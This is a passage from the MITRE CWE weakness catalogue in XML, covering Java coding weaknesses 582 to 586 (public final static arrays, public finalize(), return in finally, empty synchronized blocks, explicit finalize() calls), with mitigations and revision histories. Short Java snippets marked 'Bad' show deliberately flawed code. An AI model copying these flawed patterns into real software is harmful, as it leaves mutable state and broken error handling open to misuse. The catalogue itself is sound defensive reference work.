            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Both Equals() and Hashcode() should be defined.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MET09-J</Entry_ID>
               <Entry_Name>Classes that define an equals() method must also define a hashCode() method</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Object Model Violation: Just One of Equals and Haschode Defined</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="582" Name="Array Declared Public, Final, and Static" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.</Description>
         <Extended_Description>Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your product is running.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>In most situations the array should be made private.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following Java Applet code mistakenly declares an array public, final and static.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public final class urlTool extends Applet {<xhtml:div style="margin-left:1em;">public final static URL[] urls;<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>OBJ10-J</Entry_ID>
               <Entry_Name>Do not use public static nonfinal variables</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP28</Entry_ID>
               <Entry_Name>Unexpected Access Points</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Background_Details, Demonstrative_Examples, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Background_Details, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Mobile Code: Unsafe Array Declaration</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="583" Name="finalize() Method Declared Public" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product violates secure coding principles for mobile code by declaring a finalize() method public.</Description>
         <Extended_Description>A product should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke a finalize() method because it is declared with public access.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following Java Applet code mistakenly declares a public finalize() method.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public final class urlTool extends Applet {<xhtml:div style="margin-left:1em;">public void finalize() {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your product is running.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MET12-J</Entry_ID>
               <Entry_Name>Do not use finalizers</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP28</Entry_ID>
               <Entry_Name>Unexpected access points</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Mobile Code: Public Finalize Method</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="584" Name="Return Inside Finally Block" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="705" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not use a return statement inside the finally block. The finally block should have "cleanup" code.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following code excerpt, the IllegalArgumentException will never be delivered to the caller. The finally block will cause the exception to be discarded.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">...<xhtml:br/>throw IllegalArgumentException();</xhtml:div>}<xhtml:br/>finally {<xhtml:div style="margin-left:1em;">return r;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR04-J</Entry_ID>
               <Entry_Name>Do not complete abruptly from a finally block</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR05-J</Entry_ID>
               <Entry_Name>Do not let checked exceptions escape from a finally block</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP6</Entry_ID>
               <Entry_Name>Incorrect Exception Behavior</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="585" Name="Empty Synchronized Block" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product contains an empty synchronized block.</Description>
         <Extended_Description>An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1071" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>An empty synchronized block will wait until nobody else is using the synchronizer being specified. While this may be part of the desired behavior, because you haven't protected the subsequent code by placing it inside the synchronized block, nothing is stopping somebody else from modifying whatever it was you were waiting for while you run the subsequent code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When you come across an empty synchronized statement, or a synchronized statement in which the code has been commented out, try to determine what the original intentions were and whether or not the synchronized block is still necessary.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code attempts to synchronize on an object, but does not execute anything in the synchronized block. This does not actually accomplish anything and may be a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>synchronized(this) { }</xhtml:div>
               </Example_Code>
               <Body_Text>Instead, in a correct usage, the synchronized statement should contain procedures that access or modify data that is exposed to multiple threads. For example, consider a scenario in which several threads are accessing student records at the same time. The method which sets the student ID to a new value will need to make sure that nobody else is accessing this data at the same time and will require synchronization.</Body_Text>
               <Example_Code Nature="Good">
                  <xhtml:div>public void setID(int ID){<xhtml:div style="margin-left:1em;">synchronized(this){<xhtml:div style="margin-left:1em;">this.ID = ID;</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP21</Entry_ID>
               <Entry_Name>Multiple locks/unlocks</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-478"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships, Type</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="586" Name="Explicit Call to Finalize()" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product makes an explicit call to the finalize() method from outside the finalizer.</Description>
         <Extended_Description>While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1076" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Testing</Phase>
